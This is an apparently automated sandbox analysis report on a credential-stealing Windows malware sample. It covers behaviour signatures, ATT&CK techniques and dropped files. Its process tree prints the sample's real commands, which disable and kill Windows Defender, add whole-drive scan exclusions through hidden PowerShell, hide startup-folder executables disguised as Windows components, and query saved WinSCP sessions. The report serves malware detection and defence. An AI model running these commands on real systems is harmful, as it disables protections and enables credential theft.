Overview

overview

10

Static

static

10

2026-07-27...er.exe

windows10-2004-x64

10

2026-07-27...er.exe

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    27/07/2026, 13:09

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-07-27_798a82c33305f2e1fc8a96199c8bbd0a_akira_glassworm_rusty-stealer.exe
  • Size 90.0MB
  • Sample260727-qd5tcsshqd
  • SHA256 48feb8a3b09727dadae9231906df7aabd400609c8fa1fb9241c20ce82598dc4e
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
collectioncredential_accessdefense_evasionevasionexecutionpersistencespywarestealertrojan

Malware Config

Signatures

  • Modifies WinLogon for persistence 2 TTPs 2 IoCs
    persistence
  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 2 IoCs
    evasiontrojan
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 10 IoCs
    defense_evasiontrojan
  • Modifies Windows Defender TamperProtection settings 3 TTPs 2 IoCs
    evasiontrojan
  • Modifies Windows Defender notification settings 3 TTPs 10 IoCs
    defense_evasiontrojan
  • Windows security bypass 2 TTPs 8 IoCs
    defense_evasiontrojan
  • Command and Scripting Interpreter: PowerShell 1 TTPs 12 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Credentials from Password Stores: Windows Credential Manager 1 TTPs

    Suspicious access to Credentials History.

    credential_accessstealer
  • Disables service(s) 3 TTPs
    defense_evasionexecution
  • Drops startup file 7 IoCs
  • Executes dropped EXE 1 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

    spywarestealer
  • Reads local data of messenger clients 2 TTPs

    Infostealers often target stored data of messaging applications, which can include saved credentials and account information.

    spywarestealer
  • Reads ssh keys stored on the system 2 TTPs

    Tries to access SSH used by SSH programs.

    spywarestealer
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Stops running service(s) 4 TTPs
    defense_evasionexecution
  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

    credential_accessstealer
  • Windows security modification 2 TTPs 15 IoCs
    defense_evasiontrojan
  • Accesses Microsoft Outlook profiles 1 TTPs 2 IoCs
    collection
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 26 IoCs
    persistence
  • Launches sc.exe 12 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Subvert Trust Controls: Mark-of-the-Web Bypass 1 TTPs 6 IoCs

    When files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.

    defense_evasion
  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Disables Windows logging functionality 2 TTPs

    Changes registry settings to disable Windows Event logging.

  • Gathers network information 2 TTPs 1 IoCs

    Uses commandline utility to view network configuration.

  • Kills process with taskkill 8 IoCs
    defense_evasion
  • NTFS ADS 8 IoCs
  • Suspicious behavior: EnumeratesProcesses 26 IoCs
  • Suspicious use of AdjustPrivilegeToken 16 IoCs
  • Suspicious use of WriteProcessMemory 35 IoCs
  • Views/modifies file attributes 1 TTPs 5 IoCs
    defense_evasion
  • outlook_office_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-07-27_798a82c33305f2e1fc8a96199c8bbd0a_akira_glassworm_rusty-stealer.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-27_798a82c33305f2e1fc8a96199c8bbd0a_akira_glassworm_rusty-stealer.exe"
    1⤵
    • Modifies WinLogon for persistence
    • Modifies Windows Defender DisableAntiSpyware settings
    • Modifies Windows Defender Real-time Protection settings
    • Modifies Windows Defender TamperProtection settings
    • Modifies Windows Defender notification settings
    • Windows security bypass
    • Drops startup file
    • Windows security modification
    • Accesses Microsoft Outlook profiles
    • Adds Run key to start application
    • Subvert Trust Controls: Mark-of-the-Web Bypass
    • Checks processor information in registry
    • NTFS ADS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2956
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:4060
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:3028
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:4684
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop Sense
      2⤵
      • Launches sc.exe
      PID:2588
    • C:\Windows\System32\taskkill.exe
      "C:\Windows\System32\taskkill.exe" /f /im MsMpEng.exe
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:532
    • C:\Windows\System32\taskkill.exe
      "C:\Windows\System32\taskkill.exe" /f /im SecurityHealthSystray.exe
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:644
    • C:\Windows\System32\taskkill.exe
      "C:\Windows\System32\taskkill.exe" /f /im NisSrv.exe
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:2388
    • C:\Windows\System32\taskkill.exe
      "C:\Windows\System32\taskkill.exe" /f /im SgrmBroker.exe
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:1176
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NonI -W Hidden -NoP -Command "Set-MpPreference -DisableRealtimeMonitoring $true -Force -EA SilentlyContinue; Set-MpPreference -DisableBehaviorMonitoring $true -Force -EA SilentlyContinue; Set-MpPreference -DisableBlockAtFirstSeen $true -Force -EA SilentlyContinue; Set-MpPreference -DisableIOAVProtection $true -Force -EA SilentlyContinue; Set-MpPreference -DisableScriptScanning $true -Force -EA SilentlyContinue; Set-MpPreference -DisableArchiveScanning $true -Force -EA SilentlyContinue; Set-MpPreference -MAPSReporting 0 -Force -EA SilentlyContinue; Set-MpPreference -SubmitSamplesConsent 2 -Force -EA SilentlyContinue"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4620
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NonI -W Hidden -NoP -Command "Add-MpPreference -ExclusionPath 'C:\' -EA SilentlyContinue; Add-MpPreference -ExclusionPath $env:APPDATA -EA SilentlyContinue; Add-MpPreference -ExclusionPath $env:TEMP -EA SilentlyContinue"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3496
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:4484
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:5024
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -WindowStyle Hidden -NonInteractive -NoProfile -Command "Get-AppxPackage | ForEach-Object { $path = \"HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings\$($_.PackageFamilyName)\"; if(!(Test-Path $path)){New-Item -Path $path -Force | Out-Null}; Set-ItemProperty -Path $path -Name 'Enabled' -Value 0 -Type DWord -Force -ErrorAction SilentlyContinue } 2>$null"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4100
    • C:\Windows\system32\attrib.exe
      "attrib" +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WinSyncSvc.exe
      2⤵
      • Views/modifies file attributes
      PID:1712
    • C:\Windows\system32\attrib.exe
      "attrib" +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WinSyncSvc.exe
      2⤵
      • Views/modifies file attributes
      PID:4492
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -WindowStyle Hidden -NonInteractive -NoProfile -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WinSyncSvc.exe' -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionProcess 'svchost.exe' -ErrorAction SilentlyContinue; Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction SilentlyContinue; Set-MpPreference -DisableBehaviorMonitoring $true -ErrorAction SilentlyContinue; Set-MpPreference -DisableBlockAtFirstSeen $true -ErrorAction SilentlyContinue"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:968
  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WinSyncSvc.exe
    C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WinSyncSvc.exe
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Modifies Windows Defender Real-time Protection settings
    • Modifies Windows Defender TamperProtection settings
    • Modifies Windows Defender notification settings
    • Windows security bypass
    • Drops startup file
    • Executes dropped EXE
    • Windows security modification
    • Accesses Microsoft Outlook profiles
    • Adds Run key to start application
    • Subvert Trust Controls: Mark-of-the-Web Bypass
    • Checks processor information in registry
    • NTFS ADS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    • outlook_office_path
    PID:3024
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:1584
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:888
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:3084
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop Sense
      2⤵
      • Launches sc.exe
      PID:3808
    • C:\Windows\System32\taskkill.exe
      "C:\Windows\System32\taskkill.exe" /f /im MsMpEng.exe
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:2432
    • C:\Windows\System32\taskkill.exe
      "C:\Windows\System32\taskkill.exe" /f /im SecurityHealthSystray.exe
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:3520
    • C:\Windows\System32\taskkill.exe
      "C:\Windows\System32\taskkill.exe" /f /im NisSrv.exe
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:2872
    • C:\Windows\System32\taskkill.exe
      "C:\Windows\System32\taskkill.exe" /f /im SgrmBroker.exe
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:2168
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NonI -W Hidden -NoP -Command "Set-MpPreference -DisableRealtimeMonitoring $true -Force -EA SilentlyContinue; Set-MpPreference -DisableBehaviorMonitoring $true -Force -EA SilentlyContinue; Set-MpPreference -DisableBlockAtFirstSeen $true -Force -EA SilentlyContinue; Set-MpPreference -DisableIOAVProtection $true -Force -EA SilentlyContinue; Set-MpPreference -DisableScriptScanning $true -Force -EA SilentlyContinue; Set-MpPreference -DisableArchiveScanning $true -Force -EA SilentlyContinue; Set-MpPreference -MAPSReporting 0 -Force -EA SilentlyContinue; Set-MpPreference -SubmitSamplesConsent 2 -Force -EA SilentlyContinue"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:812
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NonI -W Hidden -NoP -Command "Add-MpPreference -ExclusionPath 'C:\' -EA SilentlyContinue; Add-MpPreference -ExclusionPath $env:APPDATA -EA SilentlyContinue; Add-MpPreference -ExclusionPath $env:TEMP -EA SilentlyContinue"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3556
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:4772
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:4368
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -WindowStyle Hidden -NonInteractive -NoProfile -Command "Get-AppxPackage | ForEach-Object { $path = \"HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings\$($_.PackageFamilyName)\"; if(!(Test-Path $path)){New-Item -Path $path -Force | Out-Null}; Set-ItemProperty -Path $path -Name 'Enabled' -Value 0 -Type DWord -Force -ErrorAction SilentlyContinue } 2>$null"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3716
    • C:\Windows\system32\attrib.exe
      "attrib" +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WinSyncSvc.exe
      2⤵
      • Views/modifies file attributes
      PID:4216
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -WindowStyle Hidden -NonInteractive -NoProfile -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WinSyncSvc.exe' -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionProcess 'svchost.exe' -ErrorAction SilentlyContinue; Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction SilentlyContinue; Set-MpPreference -DisableBehaviorMonitoring $true -ErrorAction SilentlyContinue; Set-MpPreference -DisableBlockAtFirstSeen $true -ErrorAction SilentlyContinue"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2604
    • C:\Windows\system32\attrib.exe
      "attrib" +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsSync.exe"
      2⤵
      • Drops startup file
      • Views/modifies file attributes
      PID:2756
    • C:\Windows\system32\attrib.exe
      "attrib" +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsDefenderHelper.exe"
      2⤵
      • Drops startup file
      • Views/modifies file attributes
      PID:3388
    • C:\Windows\system32\reg.exe
      "reg" query "HKCU\Software\Martin Prikryl\WinSCP 2\Sessions" /s
      2⤵
        PID:3808
      • C:\Windows\system32\ipconfig.exe
        "ipconfig" /all
        2⤵
        • Gathers network information
        PID:2744

    Network

          MITRE ATT&CK Enterprise v16

          Reconnaissance

          Resource Development

          Initial Access

          Execution

          Command and Scripting Interpreter

          2
          T1059

          PowerShell

          1
          T1059.001

          System Services

          2
          T1569

          Service Execution

          2
          T1569.002

          Persistence

          Boot or Logon Autostart Execution

          2
          T1547

          Registry Run Keys / Startup Folder

          1
          T1547.001

          Winlogon Helper DLL

          1
          T1547.004

          Create or Modify System Process

          6
          T1543

          Windows Service

          6
          T1543.003

          Privilege Escalation

          Boot or Logon Autostart Execution

          2
          T1547

          Registry Run Keys / Startup Folder

          1
          T1547.001

          Winlogon Helper DLL

          1
          T1547.004

          Create or Modify System Process

          6
          T1543

          Windows Service

          6
          T1543.003

          Defense Evasion

          Hide Artifacts

          1
          T1564

          Hidden Files and Directories

          1
          T1564.001

          Impair Defenses

          8
          T1562

          Disable or Modify Tools

          7
          T1562.001

          Modify Registry

          9
          T1112

          Subvert Trust Controls

          1
          T1553

          SIP and Trust Provider Hijacking

          1
          T1553.003

          Credential Access

          Credentials from Password Stores

          2
          T1555

          Credentials from Web Browsers

          1
          T1555.003

          Windows Credential Manager

          1
          T1555.004

          Unsecured Credentials

          7
          T1552

          Credentials In Files

          7
          T1552.001

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Lateral Movement

          Collection

          Data from Local System

          6
          T1005

          Email Collection

          1
          T1114

          Command and Control

          Exfiltration

          Impact

          Service Stop

          2
          T1489

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          powershell.exe.log
          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
          • Size 2KB
          • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 c76f66f0141411b068c3b3180508aed1ff0769a911791a50a67a1d9968c7187f
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 400B
          • SHA256 0d8c5aef628bce57d04d32b9e6dd552dd01adc9224de0b35352502dc175668a0
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 948B
          • SHA256 ef0b8696507e64893da61390565463fc11a970b3d1df09d7ba1edc9f30f13b36
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 944B
          • SHA256 f1bfb87adffb343d6fd281287dbc7c25fa84bc9a5a2ee52bd7cccd9a86bea94b
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 948B
          • SHA256 aac35563dc0306217e9a7165e62e3c68742cf9a88ac186c5ed62861ddc045a37
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          __PSScriptPolicyTest_br0xohak.ixo.ps1
          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_br0xohak.ixo.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          index.db
          • Path C:\Users\Admin\AppData\Roaming\KinoWatch\Cache\index.db
          • Size 512B
          • SHA256 e1175ed61f5fbadc85bd2e7816bcde8837e623cafd8e8477b37ca87a1630cd52
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          settings.json
          • Path C:\Users\Admin\AppData\Roaming\KinoWatch\settings.json
          • Size 118B
          • SHA256 52f1b64e13b858ea616f7cfe1cf9311ad6159c918170608449365147dc4d41d4
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          WinSyncSvc.exe:Zone.Identifier
          • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WinSyncSvc.exe:Zone.Identifier
          • Size 26B
          • SHA256 1409cc4125f7e08d09a731da789dc35c09afa8e716c00ad22d9f3f1b17a2cb33
          • MD5 SHA1 SHA512
          Submit Download

          lgf,tkt_2956.txt
          • Path C:\Users\Admin\Desktop\SpEweAbBApeF\lgf,tkt_2956.txt
          • Size 2KB
          • SHA256 d70a9a4cb41bc7e16d5b71de5c780a545f8dadb873d37ea878c262f2bd7c2043
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          lgf,tkt_2956.txt
          • Path C:\Users\Admin\Desktop\SpEweAbBApeF\lgf,tkt_2956.txt
          • Size 631B
          • SHA256 2bda8b6fc6ffc12d82bd0c475f61557a297cc4574be8bd7637d7d43a626a37ee
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          lgf,tkt_3024.txt
          • Path C:\Users\Admin\Desktop\SpEweAbBApeF\lgf,tkt_3024.txt
          • Size 835B
          • SHA256 54d53ba043e8033f7b6544a2478f59638aba3beb4dc6171fa85567f92f0ace19
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          lgf,tkt_3024.txt
          • Path C:\Users\Admin\Desktop\SpEweAbBApeF\lgf,tkt_3024.txt
          • Size 1KB
          • SHA256 f4803def30d3e1c7bd6d483cde4736d0a28c90876cadd13efac0b8e421f00277
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          lgf,tkt_3024.txt
          • Path C:\Users\Admin\Desktop\SpEweAbBApeF\lgf,tkt_3024.txt
          • Size 2KB
          • SHA256 3972929eb0b2d46dffe0ac8566d29ea8ca4799c7e1c240d533b109ff798a9043
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          lgf,tkt_3024.txt
          • Path C:\Users\Admin\Desktop\SpEweAbBApeF\lgf,tkt_3024.txt
          • Size 583B
          • SHA256 508f894356fd5119663d5fb46a9c371e63ecdb039d0586dccdef0f446237b48b
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          memory/3496-26-0x000002424E0C0000-0x000002424E0E2000-memory.dmp
          Download

          memory/4100-86-0x000001D92D8D0000-0x000001D92D8F6000-memory.dmp
          Download

          memory/4100-85-0x000001D92D830000-0x000001D92D83A000-memory.dmp
          Download

          memory/4100-84-0x000001D92D840000-0x000001D92D856000-memory.dmp
          Download